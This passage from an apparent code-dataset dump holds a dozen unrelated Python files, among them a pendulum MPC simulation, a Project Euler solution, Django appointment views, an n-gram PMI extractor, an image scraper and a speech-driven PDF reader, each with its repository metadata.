fCen=fCen)\n\ncontroller.set_filter_args(filt=meas_noise_vfilter, x0=goal, dt=dt, plant=plant,\n simulator=sim, velocity_cut=meas_noise_cut,\n filter_kwargs=filter_kwargs)\nif friction_compensation:\n controller.set_friction_compensation(damping=mpar.b, coulomb_fric=mpar.cf)\n\ncontroller.init()\n\nT, X, U = sim.simulate_and_animate(t0=0.0, x0=start,\n tf=t_final, dt=dt, controller=controller,\n integrator=\"runge_kutta\",\n plot_inittraj=True, plot_forecast=True,\n save_video=False,\n video_name=os.path.join(save_dir, \"simulation\"),\n anim_dt=5*dt)\n\n# T, X, U = sim.simulate(t0=0.0, x0=start,\n# tf=t_final, dt=dt, controller=controller,\n# integrator=\"runge_kutta\", imperfections=imperfections)\n\n# saving and plotting\nmpar.save_dict(os.path.join(save_dir, \"model_parameters.yml\"))\ncontroller.save(save_dir)\n\n# par_dict = {\n# \"dt\": dt,\n# \"t_final\": t_final,\n# \"integrator\": integrator,\n# \"start_pos1\": start[0],\n# \"start_pos2\": start[1],\n# \"start_vel1\": start[2],\n# \"start_vel2\": start[3],\n# \"goal_pos1\": goal[0],\n# \"goal_pos2\": goal[1],\n# \"goal_vel1\": goal[2],\n# \"goal_vel2\": goal[3],\n# \"N\": N,\n# \"N_init\": N_init,\n# \"max_iter\": max_iter,\n# \"max_iter_init\": max_iter_init,\n# \"regu_init\": regu_init,\n# \"max_regu\": max_regu,\n# \"min_regu\": min_regu,\n# \"break_cost_redu\": break_cost_redu,\n# \"trajectory_stabilization\": trajectory_stabilization,\n# \"sCu1\": sCu[0],\n# \"sCu2\": sCu[1],\n# \"sCp1\": sCp[0],\n# \"sCp2\": sCp[1],\n# \"sCv1\": sCv[0],\n# \"sCv2\": sCv[1],\n# \"sCen\": sCen,\n# \"fCp1\": fCp[0],\n# \"fCp2\": fCp[1],\n# \"fCv1\": fCv[0],\n# \"fCv2\": fCv[1],\n# \"fCen\": fCen\n# }\n#\n# with open(os.path.join(save_dir, \"parameters.yml\"), 'w') as f:\n# yaml.dump(par_dict, f)\n\nsave_trajectory(os.path.join(save_dir, \"trajectory.csv\"), T, X, U)\n\nplot_timeseries(T, X, U, None,\n plot_energy=False,\n X_filt=controller.x_filt_hist,\n X_meas=sim.meas_x_values,\n U_con=controller.u_hist,\n U_friccomp=controller.u_fric_hist,\n pos_y_lines=[0.0, np.pi],\n tau_y_lines=[-torque_limit[active_act], torque_limit[active_act]],\n save_to=os.path.join(save_dir, \"timeseries\"))\n","repo_name":"dfki-ric-underactuated-lab/double_pendulum","sub_path":"examples/realistic/ilqr_mpc_stabi.py","file_name":"ilqr_mpc_stabi.py","file_ext":"py","file_size_in_byte":7017,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"0"}
+{"seq_id":"9499920874","text":"# Question: https://projecteuler.net/problem=193\n\n# Finding squarefree number is hard. I think it requires computing prime numbers up to 2^50.\n# We can use ans = N - non-squarefree.\n# Let k be a squarefree number, and suppose k has m prime factors.\n# -> k^2 = p_1^2 * p_2^2 * p3^2 * ... * p_m^2\n# Let x be any number -> p_i^2 | x*k^2.\n#\n# Inclusion-exclusion principle, use Möbius function.\n# n_nonsquarefree = sum(number of multiples of k * Möbius(k))\n# Möbius(k) = 1 if m is even\n# = -1 if m is odd\n# e.g. n += N / p^2\n# n -= N / (p^2 * q^2)\n# n += N / (p^2 * q^2 * r^2)\n\nimport numpy as np\n\nN = 2**50\nsqrt_N = int(np.sqrt(N))\n\nis_prime = np.ones(sqrt_N+1, np.bool)\nis_prime[0] = False\nis_prime[1] = False\nfor i in range(2, sqrt_N+1):\n if not is_prime[i]:\n continue\n is_prime[2*i::i] = False\n\nprimes = np.where(is_prime == True)[0]\n\nn_prime_factors = np.zeros(sqrt_N+1, np.int32)\nmask = np.ones(sqrt_N+1, np.int32)\n\nfor prime in primes:\n n_prime_factors[prime::prime] += 1\n q = prime*prime\n while q < sqrt_N:\n mask[q::q] = 0\n q = q*prime\n\nM = n_prime_factors\n\nM[n_prime_factors % 2 == 1] = 1\nM[n_prime_factors % 2 == 0] = -1\n\nM = np.multiply(n_prime_factors, mask)\n\nans = N - np.sum(N//np.power(np.arange(2, sqrt_N+1),2) * M[2:])\n\nprint(ans)\n\n","repo_name":"hnpl/project-euler","sub_path":"2nd_100/problem193.py","file_name":"problem193.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"27609525423","text":"from mcpi.minecraft import Minecraft as mcs\nmc=mcs.create()\nx,y,z=mc.player.getTilePos()\n#mc.setBlocks(x+1,y+3,z+1,x-1,y+5,z-1,46)\n#mc.setBlocks(x,y,z,x,y+4,z,2)\nfor i in range(0,3):\n for j in range(0,3):\n for k in range(0,3):\n mc.setBlock(x+i,y+k,z+j,46)\nfor i in range(3):\n mc.setBlock(x+1,y-i,z+1,46)","repo_name":"caolinggebi/caolinggebi-minecraft-and-python","sub_path":"class8_1.py","file_name":"class8_1.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"12056445684","text":"import pandas as pd\nimport os\nimport sys\nimport numpy as np\n\nclass Tree():\n def __init__(self):\n self.texto = pd.read_csv(\"casas_arvore_decisao.csv\", sep=';', index_col=\"ID\")\n\n\n def ask_question(self):\n return self.question\n\n\n def check_answer(self, answer):\n if answer <= float(self.logica):\n return self.leftNode\n elif answer > float(self.logica):\n return self.rightNode\n else:\n return False\n\n\n def rec_build_tree(self, linha):\n row = self.texto.loc[linha]\n if row[\"Pergunta\"] == \"NÓ FOLHA\":\n return row[\"A\"]\n node = Tree()\n node.leftNode = Tree.rec_build_tree(self, float(row[\"Nó A\"]))\n node.rightNode = Tree.rec_build_tree(self, float(row[\"Nó B\"]))\n node.question = row[\"Pergunta\"]\n node.answerTrue = row[\"A\"]\n node.answerFalse = row[\"B\"]\n node.logica = row[\"Lógica\"]\n return node\n\n\n def is_obj(self, obj):\n return False if type(obj).__name__ == \"str\" else True\n\n\n def verifica_entrada(self, response, count_erros):\n\n try:\n response = float(response)\n except:\n while (isinstance(response, float) or isinstance(response, int)) is False:\n if count_erros == 2:\n print(\"\\nMuitas informações! :/ \\nPor favor me reinicie.\")\n sys.exit()\n print(\"\\nMe desculpe, não conheço essa opção, vamos tentar novamente? :)\\n\")\n response = input(self.arvore.ask_question())\n count_erros += 1\n\n return response, count_erros\n\n\n def verifica_saida(self, response):\n\n if str(response).lower() == \"sair\":\n print(\"\\nFim.\\n\")\n sys.exit()\n else:\n pass\n\n\n def execute(self):\n counter_tickets = 0\n print(\"DIGITE 'SAIR' PARA FINALIZAR O PROGRAMA\")\n while True:\n self.arvore = Tree.rec_build_tree(self, 1)\n count_erros=0\n while True:\n if count_erros == 2:\n print(\"ERROS SUCESSIVOS\\nVERIFIQUE AS OPÇÕES ANTES DE TENTAR NOVAMENTE\\n\")\n print(\"\\nMuitas informações! :/ \\nPor favor me reinicie.\")\n break\n response = input(self.arvore.ask_question())\n Tree.verifica_saida(self, response)\n response, count_erros = Tree.verifica_entrada(self, response, count_erros)\n\n answer = self.arvore.check_answer(response)\n if answer == False:\n print(\"\\nMe desculpe, não conheço essa opção, vamos tentar novamente? :)\")\n count_erros+=1\n elif not Tree.is_obj(self, answer):\n break\n else:\n self.arvore = answer\n\n print(answer)\n\n print(\"-------------------------------------\")\n\n\ndef Orquestrador_chatbot():\n\n \"\"\"\n\n ORQUESTRADOR DE EXECUÇÃO DO CÓDIGO.\n\n # Arguments\n\n # Returns\n\n \"\"\"\n\n # INICIANDO O APP\n app_proc = Tree()\n\n # EXECUTANDO\n app_proc.execute()\n\n\nif __name__ == '__main__':\n sys.exit(Orquestrador_chatbot())","repo_name":"Pyrayomi/casas","sub_path":"chatbot_engine.py","file_name":"chatbot_engine.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"21930128339","text":"from django.shortcuts import render\nfrom rest_framework import viewsets, status\n# , DayListSerializer\nfrom .serializers import (AppointmentSerializer, TrainerSerializer,\n ClientSerializer, AppointmentDaySerializer)\nfrom .models import Appointment, Trainer, Client, AppointmentDay\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom django.contrib.auth.models import User\nfrom datetime import timedelta, datetime\n\n\n# Create your views here.\n\n\nclass TrainerViewSet(viewsets.ModelViewSet):\n queryset = Trainer.objects.all()\n serializer_class = TrainerSerializer\n\n\nclass ClientiewSet(viewsets.ModelViewSet):\n queryset = Client.objects.all()\n serializer_class = ClientSerializer\n\n @action(detail=False, methods=['POST'])\n def new_client(self, request):\n\n full_name = request.data['full_name']\n user = User.objects.get(id=request.data['user_id'])\n\n client = Client.objects.create(user=user, full_name=full_name)\n client.save()\n serializer = ClientSerializer(client, many=False)\n\n message = {'message': \"Client Created\", 'client': serializer.data}\n return Response(message, status=status.HTTP_200_OK)\n\n\nclass AppointmentViewSet(viewsets.ModelViewSet):\n queryset = Appointment.objects.all()\n serializer_class = AppointmentSerializer\n\n @action(detail=False, methods=['POST'])\n def book_app(self, request):\n\n start_time = request.data['start_time']\n end_time = request.data['end_time']\n trainer = request.data['trainer_id']\n client = request.data['client_id']\n time = None\n\n day = request.data['day']\n\n try:\n appointment_day = AppointmentDay.objects.get(day=day)\n\n except AppointmentDay.DoesNotExist:\n appointment_day = AppointmentDay.objects.create(day=day)\n\n trainer_instance = Trainer.objects.get(id=trainer)\n client_instance = Client.objects.get(id=client)\n\n if not start_time or not end_time:\n pass\n else:\n time1 = datetime.strptime(str(end_time), '%H:%M:%S')\n time2 = datetime.strptime(str(start_time), '%H:%M:%S')\n difference = time1-time2\n total = 0\n acc = str(difference).split(\":\")\n total = total + int(acc[0]) * 60\n total = total + int(acc[1])\n time = total\n\n appointment = Appointment.objects.create(\n trainer=trainer_instance, client=client_instance, day=appointment_day, start_time=start_time, end_time=end_time, time=time)\n serializer = AppointmentSerializer(appointment, many=False)\n\n # message = {'msg': \"Appt Booked!\", 'appointment': serializer.data}\n message = {'msg': serializer.data}\n return Response(message, status=status.HTTP_200_OK)\n\n\nclass AppointmentDayViewSet(viewsets.ModelViewSet):\n queryset = AppointmentDay.objects.all()\n serializer_class = AppointmentDaySerializer\n\n @action(detail=True, methods=['GET'])\n def appointments(self, request, pk='day'):\n\n day = AppointmentDay.objects.get(day=pk)\n serializer = AppointmentDaySerializer(day, many=False)\n\n message = {'day': serializer.data}\n return Response(message, status=status.HTTP_200_OK)\n","repo_name":"mbpod10/DRF_PSA_BE","sub_path":"appointments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"38152412656","text":"import argparse\nfrom collections import defaultdict\nimport re\nimport math\nimport numpy\n\nfrom transformers import (\n AutoTokenizer, \n)\ntokenizer = AutoTokenizer.from_pretrained(\"roberta-large\")\n\nclass FindNgrams:\n def __init__(self, min_count=0, min_pmi=0, language='en'):\n self.min_count = min_count\n self.min_pmi = min_pmi\n self.words = defaultdict(int)\n self.ngrams, self.pairs = defaultdict(int), defaultdict(int)\n self.total = 0.\n self.language = language\n\n def text_filter(self, sentence):\n cleaned_text = []\n index = 0\n for i, w in enumerate(sentence):\n if re.match(u'[^\\u0600-\\u06FF\\u0750-\\u077F\\u4e00-\\u9fa50-9a-zA-Z]+', w):\n if i > index:\n cleaned_text.append([w.lower() for w in sentence[index:i]])\n index = 1 + i\n if index < len(sentence):\n cleaned_text.append([w.lower() for w in sentence[index:]])\n return cleaned_text\n\n def count_ngram(self, texts, n):\n self.ngrams = defaultdict(int)\n for sentence in texts:\n sub_sentence = sentence.split()\n for i in range(n):\n n_len = i + 1\n for j in range(len(sub_sentence) - i):\n ngram = tuple([w for w in sub_sentence[j: j+n_len]])\n self.ngrams[ngram] += 1\n self.ngrams = {i:j for i, j in self.ngrams.items() if j > self.min_count}\n\n def find_ngrams_pmi(self, texts, n, freq_threshold):\n for sentence in texts:\n sub_sentence = sentence.split()\n self.words[sub_sentence[0]] += 1\n for i in range(len(sub_sentence)-1):\n self.words[sub_sentence[i + 1]] += 1\n self.pairs[(sub_sentence[i], sub_sentence[i+1])] += 1\n self.total += 1\n self.words = {i: j for i, j in self.words.items() if j > self.min_count}\n self.pairs = {i: j for i, j in self.pairs.items() if j > self.min_count}\n\n min_mi = math.inf\n max_mi = -math.inf\n\n self.strong_segments = set()\n for i, j in self.pairs.items():\n if i[0] in self.words and i[1] in self.words:\n mi = math.log(self.total * j / (self.words[i[0]] * self.words[i[1]]))\n if mi > max_mi:\n max_mi = mi\n if mi < min_mi:\n min_mi = mi\n if mi >= self.min_pmi:\n self.strong_segments.add(i)\n\n\n self.ngrams = defaultdict(int)\n for sentence in texts:\n sub_sentence = sentence.split()\n s = [sub_sentence[0]]\n for i in range(len(sub_sentence)-1):\n if (sub_sentence[i], sub_sentence[i+1]) in self.strong_segments:\n s.append(sub_sentence[i+1])\n else:\n self.ngrams[tuple(s)] += 1\n s = [sub_sentence[i+1]]\n self.ngrams = {i:j for i, j in self.ngrams.items() if j > self.min_count and len(i) <= n}\n\n self.renew_ngram_by_freq(texts, freq_threshold, n)\n\n\n def renew_ngram_by_freq(self, all_sentences, min_feq, ngram_len=10):\n new_ngram2count = {}\n new_all_sentences = []\n\n for sentence in all_sentences:\n sentence = sentence.split()\n sen = sentence\n for i in range(len(sen)):\n for n in range(1, ngram_len + 1):\n if i + n > len(sentence):\n break\n n_gram = tuple(sentence[i: i + n])\n if n_gram not in self.ngrams:\n continue\n if n_gram not in new_ngram2count:\n new_ngram2count[n_gram] = 1\n else:\n new_ngram2count[n_gram] += 1\n self.ngrams = {gram: c for gram, c in new_ngram2count.items() if c > min_feq}\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset', type=str, required=True, help=\"the name of dataset\")\nparser.add_argument('--output_dir', type=str, required=True, help=\"the output path\")\nparser.add_argument('--ngram', type=int, default=5, help=\"n\")\nparser.add_argument('--min_count', type=int, default=5, help=\"min_count\")\nparser.add_argument('--min_pmi', type=int, default=1, help=\"min_pmi\")\nparser.add_argument('--ngram_freq_threshold', type=int, default=5, help=\"ngram_freq_threshold\")\nparser.add_argument('--delete_special_symbol', action='store_false', help=\"Whether to remove special symbols\")\nconfig = parser.parse_args()\n\nngram_list = []\ndataset = config.dataset\nngram = config.ngram\nmin_count = config.min_count\nmin_pmi = config.min_pmi\nngram_freq_threshold = config.ngram_freq_threshold\n\nprint('dataset: ', dataset)\nf_read = open(config.dataset, 'r')\nf_write = open(config.output_dir, 'w')\n\nsentence_list = []\nfor line in f_read:\n sentence_list.append(line)\n\nngram_finder = FindNgrams(min_count=min_count, min_pmi=min_pmi)\nngram_finder.find_ngrams_pmi(sentence_list, ngram, ngram_freq_threshold)\n\nngram_type_count = [0 for _ in range(ngram)]\nngram_finder.ngrams = dict(sorted(ngram_finder.ngrams.items(), key = lambda kv:(kv[1], kv[0]), reverse=True)) #sort\n\n\ncount = 0\nfor w, c in ngram_finder.ngrams.items():\n count += 1\n s = \"\"\n for word_index in range(len(w)):\n s += w[word_index]+\" \"\n s = s.strip()\n i = len(s)\n if config.delete_special_symbol:\n while i>0:\n if s[i-1].isalnum():\n break\n i -= 1\n s = s[0:i]\n if s not in ngram_list and len(s)>0:\n if s not in ngram_list:\n ngram_list.append(s)\n\nngram_count = 0\nfor ngram_phrase in ngram_list:\n ngram_index = tokenizer.encode(' ' + ngram_phrase, add_special_tokens=False)\n ngram_index_list = list(map(str, ngram_index))\n ngram_index_str = \",\".join(ngram_index_list)\n ngram_count += 1\n f_write.write(ngram_phrase + '\\n') # for GPT\n # f_write.write(ngram_index_str +'\\n') # for RoBERTa\n ngram_type_count[len(list(ngram_phrase.split())) - 1] += 1\n\nprint(str(ngram_type_count))\nf_read.close()\nf_write.close()","repo_name":"shizhediao/Black-Box-Prompt-Learning","sub_path":"pmi_ngram.py","file_name":"pmi_ngram.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"0"}
+{"seq_id":"71200024998","text":"import os\n\nimport discord\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\n\nload_dotenv()\nTOKEN = os.getenv('DISCORD_TOKEN')\n\n\nclass PythonBot(commands.Bot):\n def __init__(self):\n super().__init__(\n intents=discord.Intents.all(), command_prefix='.',\n description=\"My Python experiment.\", )\n self.uptime = None\n self.client_id = 1095082464432627851\n self.owner_id = 488699894023061516\n self.token = os.getenv('DISCORD_TOKEN')\n self.remove_command(\"help\")\n\n async def setup_hook(self):\n for extension in os.listdir('cogs'):\n if extension.endswith('.py'):\n try:\n await self.load_extension(f'cogs.{extension[:-3]}')\n except Exception as e:\n print(f'Failed to load extension {extension[:-3]}\\n{type(e).__name__}: {e}')\n await self.tree.sync()\n # Add views here to be persistent\n\n def run(self):\n super().run(token=self.token, reconnect=True)\n\n\npython = PythonBot()\n# Context menus goes here\npython.run()\n","repo_name":"Eilyz/Discord.py","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74846259235","text":"class Solution:\n def minCut(self, s: str) -> int:\n # if s[i,j] is a palindrome, then the minCut(s[:j]) is at most minCut(s[:i-1])+1\n if s == s[::-1]:\n return 0\n\n for i in range(1, len(s)):\n if s[:i] == s[:i][::-1] and s[i:] == s[i:] == s[i:][::-1]:\n return 1\n\n # cut numbers in worst case (no palindrome)\n cuts = [x for x in range(-1, len(s))]\n for i in range(len(s)):\n # r stands for radius\n r1, r2 = 0, 0\n # odd palidrome - start from middle\n while i-r1 >= 0 and i+r1 < len(s) and s[i-r1] == s[i+r1]:\n cuts[i+r1+1] = min(cuts[i+r1+1], cuts[i-r1]+1)\n r1 += 1\n\n # even palidrome\n while i-r2 >= 0 and i+r2+1 < len(s) and s[i-r2] == s[i+r2+1]:\n cuts[i+r2+2] = min(cuts[i+r2+2], cuts[i-r2]+1)\n r2 += 1\n\n return cuts[-1]\n\n \"\"\"\n def minCut(self, s: str) -> int:\n # dp[i]: the minimum cuts needed for a palindrome partitioning of[s:i]\n n = len(s)\n\n isPal = [[False]*n for _ in range(n)]\n\n # 区间dp, 外层循环考虑区间大小\n for length in range(1, n+1):\n # 内层考虑starting index\n for i in range(n-length + 1):\n j = i + length - 1\n # update isPal[i][j]\n if s[i] == s[j]:\n # 边界条件, 区间为 1/2 的长度\n if (i+1) >= (j-1):\n isPal[i][j] = True\n else:\n # 如果外层相等��看里面的是否相等\n isPal[i][j] = isPal[i+1][j-1]\n\n dp = [float('inf') for _ in range(n)]\n dp[0] = 1\n for i in range(1, n):\n for j in range(i+1):\n if isPal[j][i]:\n if j == 0: # only 1 char\n dp[i] = 1\n else:\n dp[i] = min(dp[i], dp[j-1]+1)\n\n return dp[n-1] - 1\n \"\"\"","repo_name":"linnndachen/coding-practice","sub_path":"Leetcode/132-pali_dp.py","file_name":"132-pali_dp.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"28108625333","text":"#!/usr/bin/local/python3\n\nimport sys\nimport os\nimport urllib.request\nfrom urllib.parse import urlparse\nfrom os.path import splitext, basename\nfrom bs4 import BeautifulSoup\n\ndef scrape(url, the_page):\n images = []\n img_count = 0\n soup = BeautifulSoup(the_page, 'html.parser')\n for img in soup.find_all('img'):\n if url not in img.get('src'):\n images.append(url + '/'+ img.get('src'))\n img_count += 1\n else:\n images.append(img.get('src'))\n img_count += 1\n\n if img_count > 0: \n print(str(img_count) + \" found.\")\n save(images)\n else:\n print(str(img_count) + \" found.\")\n sys.exit(0)\n\ndef save(images):\n os.mkdir('scraped_images', 0o777,)\n os.chdir('scraped_images')\n\n try:\n for image in images:\n parsed = urlparse(image)\n filename, file_ext = splitext(basename(parsed.path))\n urllib.request.urlretrieve(image, filename + file_ext)\n except urllib.error.URLError as e:\n print(e.reason())\n\nif __name__ == \"__main__\":\n try:\n url = input('Introduce the URL to scrape: ')\n req = urllib.request.Request(url)\n with urllib.request.urlopen(req) as response:\n the_page = response.read()\n scrape(url, the_page)\n except urllib.error.HTTPError as e:\n print(e.code)\n print(e.read())\n","repo_name":"ocolucho/imgscraper","sub_path":"imgscraper.py","file_name":"imgscraper.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"21511970615","text":"import decimal\n\nfrom django.core.management.base import BaseCommand\n\nfrom register.models import RegistrationGroup, RegistrationSlot\nfrom events.models import Event\n\n\nclass Command(BaseCommand):\n help = 'Update payment amounts for imported event reg'\n\n def add_arguments(self, parser):\n parser.add_argument('event')\n\n def handle(self, *args, **options):\n count = 0\n event_id = int(options['event'])\n event = Event.objects.get(pk=event_id)\n groups = RegistrationGroup.objects.filter(event=event)\n\n for group in groups:\n try:\n subtotal = decimal.Decimal('0.0')\n\n registrations = RegistrationSlot.objects.filter(registration_group=group)\n for reg in registrations:\n if reg.is_event_fee_paid:\n subtotal += event.event_fee\n if reg.is_gross_skins_paid:\n subtotal += event.skins_fee\n if reg.is_net_skins_paid:\n subtotal += event.skins_fee\n if reg.is_greens_fee_paid:\n subtotal += event.green_fee\n if reg.is_cart_fee_paid:\n subtotal += event.cart_fee\n\n group.payment_amount = (subtotal + decimal.Decimal(\"0.30\")) / (decimal.Decimal(\"1.0\") - decimal.Decimal(\"0.029\"))\n group.save()\n\n count += 1\n except Exception as e:\n self.stderr.write(self.style.ERROR(\"Failed to update {}:\".format(group.id)))\n self.stderr.write(self.style.ERROR(e))\n\n self.stdout.write(self.style.SUCCESS('Successfully updated {} groups'.format(count)))\n","repo_name":"finleysg/clubmanager-api","sub_path":"core/management/commands/update_event_reg.py","file_name":"update_event_reg.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74288706596","text":"import POO\nfrom POO import *\nbandera=True\nfigura1=Figura1Parametro()\nfigura2=Figura2Parametros()\n\nprint(\"★★★ Bienvenido ★★★\")\nwhile(bandera==True):\n print(\" Figuras \")\n print(\"1. Circulo\")\n print(\"2. Triángulo\")\n print(\"3. Cuadrado\")\n print(\"4. Rectángulo\")\n print(\"5. Terminar\")\n opcion=int(input(\"Selecciona una figura: \"))\n print(\" \")\n\n if(opcion==1):\n r=float(input(\"Introduce el radio: \"))\n area=figura1.areaCirculo(r)\n per=figura1.perimetroCirculo(r)\n print(\"El área del círculo es {:.3f} y su perímetro {:.3f}\".format(area, per))\n print(\" \")\n elif(opcion==2):\n base=float(input(\"Introduce la base: \"))\n alt=float(input(\"Introduce la altura: \"))\n area=figura2.areaTriangulo(base, alt)\n per=figura1.perimetroTriangulo(base)\n print(\"El área del triángulo es {:.3f} y su perímetro {:.3f}\".format(area, per))\n print(\" \")\n elif(opcion==3):\n lado = float(input(\"Introduce el lado: \"))\n area = figura1.areaCuadrado(lado)\n per = figura1.perimetroCuadrado(lado)\n print(\"El área del cuadrado es {:.3f} y su perímetro {:.3f}\".format(area, per))\n print(\" \")\n elif(opcion==4):\n base = float(input(\"Introduce la base: \"))\n alt = float(input(\"Introduce la altura: \"))\n area = figura2.areaRectangulo(base, alt)\n per = figura2.perimetroRectangulo(base, alt)\n print(\"El área del rectángulo es {:.3f} y su perímetro {:.3f}\".format(area, per))\n print(\" \")\n elif(opcion==5):\n print(\"--- Finalizar\")\n bandera=False\n else:\n print(\"--- La opción no es válida\")\n","repo_name":"xime-ngrn/4IV7_Python","sub_path":"Actividad2doParcial/PrincipalPOO.py","file_name":"PrincipalPOO.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"27640116102","text":"import sys\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.pdfpage import PDFPage\nfrom pdfminer.converter import XMLConverter, HTMLConverter, TextConverter\nfrom pdfminer.layout import LAParams\nimport io\nimport os\nfrom array import array\nfrom struct import pack\nimport speech_recognition as sr\nimport pyaudio\nimport wave\nimport datetime\nimport pygame\nimport pyttsx3\n\n\n\nTHRESHOLD = 500\nCHUNK_SIZE = 1024\nFORMAT = pyaudio.paInt16\nRATE = 44100\n\nengine = pyttsx3.init()\nengine.setProperty('rate', 150)\n\n\ndef is_silent(snd_data):\n \"Returns 'True' if below the 'silent' threshold\"\n return max(snd_data) < THRESHOLD\n\n\ndef normalize(snd_data):\n \"Average the volume out\"\n MAXIMUM = 16384\n times = float(MAXIMUM)/max(abs(i) for i in snd_data)\n\n r = array('h')\n for i in snd_data:\n r.append(int(i*times))\n return r\n\ndef trim(snd_data):\n \"Trim the blank spots at the start and end\"\n def _trim(snd_data):\n snd_started = False\n r = array('h')\n\n for i in snd_data:\n if not snd_started and abs(i)>THRESHOLD:\n snd_started = True\n r.append(i)\n\n elif snd_started:\n r.append(i)\n return r\n\n # Trim to the left\n snd_data = _trim(snd_data)\n\n # Trim to the right\n snd_data.reverse()\n snd_data = _trim(snd_data)\n snd_data.reverse()\n return snd_data\n\ndef add_silence(snd_data, seconds):\n \"Add silence to the start and end of 'snd_data' of length 'seconds' (float)\"\n r = array('h', [0 for i in range(int(seconds*RATE))])\n r.extend(snd_data)\n r.extend([0 for i in range(int(seconds*RATE))])\n return r\n\ndef listen():\n \"\"\"\n Record a word or words from the microphone and \n return the data as an array of signed shorts.\n\n Normalizes the audio, trims silence from the \n start and end, and pads with 0.5 seconds of \n blank sound to make sure VLC et al can play \n it without getting chopped off.\n \"\"\"\n p = pyaudio.PyAudio()\n stream = p.open(format=FORMAT, channels=1, rate=RATE,\n input=True, output=True,\n frames_per_buffer=CHUNK_SIZE)\n\n num_silent = 0\n snd_started = False\n\n r = array('h')\n\n while 1:\n # little endian, signed short\n snd_data = array('h', stream.read(CHUNK_SIZE))\n if byteorder == 'big':\n snd_data.byteswap()\n r.extend(snd_data)\n\n silent = is_silent(snd_data)\n\n if silent and snd_started:\n num_silent += 1\n elif not silent and not snd_started:\n snd_started = True\n\n if snd_started and num_silent > 30:\n break\n\n sample_width = p.get_sample_size(FORMAT)\n stream.stop_stream()\n stream.close()\n p.terminate()\n\n r = normalize(r)\n r = trim(r)\n r = add_silence(r, 0.5)\n return sample_width, r\n\n\ndef pdfparser(data):\n\n fp = open(data, 'rb')\n rsrcmgr = PDFResourceManager()\n retstr = io.StringIO()\n codec = 'utf-8'\n laparams = LAParams()\n device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)\n # Create a PDF interpreter object.\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n # Process each page contained in the document.\n\n for page in PDFPage.get_pages(fp):\n interpreter.process_page(page)\n data = retstr.getvalue()\n\n return(data)\n\n\n \n\ndef pdfreader():\n\n r = sr.Recognizer()\n with sr.Microphone() as source:\n print ('Say Something!')\n engine.say('Say Something!')\n engine.runAndWait()\n audio = r.listen(source)\n print ('Done!')\n \n \n text = r.recognize_google(audio)\n read=text+'.pdf'\n text=pdfparser(read)\n return text\n","repo_name":"Mostafa-Hussien/VIA-visually-impaired-assistance-","sub_path":"book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"14911964154","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 31 16:09:31 2022\r\n\r\n@author: Aleksander\r\n\"\"\"\r\n\r\nimport datetime\r\nimport serial\r\nimport keyboard\r\nimport csv\r\n\r\ntime_now = datetime.datetime.now().strftime(\"%y%m%dT%H%M%S\")\r\n\r\nwith serial.Serial('COM4', 115200) as ser:\r\n ser.flushInput()\r\n while True:\r\n if keyboard.is_pressed('s'):\r\n break\r\n\r\n line = ser.read_until(b'\\xbb')\r\n # print(line)\r\n with open(f\"{time_now}.csv\", \"a\", newline=\"\") as f:\r\n writer = csv.writer(f, delimiter=\" \")\r\n writer.writerow(line)\r\n \r\n \r\n ","repo_name":"chillinorway/EE-Tool","sub_path":"simple_serial_read.py","file_name":"simple_serial_read.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"12961891697","text":"import datetime\nimport smtplib\nimport ssl\nfrom types import prepare_class\nfrom selenium import webdriver\nimport time\nimport json\n\nclass Booking:\n PATH = \"C:\\Program Files (x86)\\chromedriver.exe\"\n\n def __init__(self):\n self.driver = None\n\n @staticmethod\n def read_info():\n with open(\"info.json\") as f:\n return json.load(f)\n\n\n def get_cred(self):\n with open(\"credentials.txt\") as f:\n for row in f:\n if \"email\" in row:\n SENDER = row.split(':')[1].strip()\n elif \"password\" in row:\n PASSWORD = row.split(':')[1].strip()\n return SENDER, PASSWORD\n\n\n def send_mail(self, receivers, message):\n assert isinstance(receivers, list), \"receivers must be of type list\"\n\n # port = 587\n ssl_port = 465\n SENDER, PASSWORD = self.get_cred()\n\n context = ssl.create_default_context()\n host = \"smtp.gmail.com\"\n # with smtplib.SMTP('localhost', 1025) as smtp:\n with smtplib.SMTP_SSL(host, ssl_port, context=context) as smtp:\n smtp.login(SENDER, PASSWORD)\n\n for receiver in receivers:\n smtp.sendmail(SENDER, receiver, message.encode())\n\n\n def check_drivein(self):\n self.driver = 